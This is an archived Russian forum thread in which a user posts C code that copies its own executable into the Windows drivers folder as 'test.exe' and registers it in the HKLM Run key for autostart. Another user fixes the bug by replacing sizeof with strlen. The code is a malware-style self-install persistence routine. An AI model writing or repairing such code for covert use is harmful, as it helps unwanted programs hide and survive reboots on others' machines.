PDA

Просмотр полной версии : Глюк при записи значения в реестр


_nic
02.05.2007, 17:39
Вот такой вот код

char sysd[400];char sys[]="\\drivers\\test.exe"
main(int argc, char *argv[])
{
GetSystemDirectory(sysd,400);
strcat(sysd,sys);
for (i = 0; i < argc; i++)
{
CopyFile(argv[i],sysd,FALSE);
}
RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&k);
RegSetValueEx(k,"mt",NULL,REG_SZ,(const char*)&sysd,sizeof(sysd));
}

Дает вот такой вот глюк с 3 точками
http://img139.imageshack.us/my.php?image=61919864ta7.jpg Естественно что программа не загружается.
Подскажите кто знает что я не так сделал.

sn0w
02.05.2007, 18:10
RegSetValueEx(k,"mt",NULL,REG_SZ,(const char*)&sysd,sizeof(sysd));

sizeof(sysd) ---> strlen(sysd)

_nic
02.05.2007, 19:48
RegSetValueEx(k,"mt",NULL,REG_SZ,(const char*)&sysd,sizeof(sysd));

sizeof(sysd) ---> strlen(sysd)
Спасибо помогло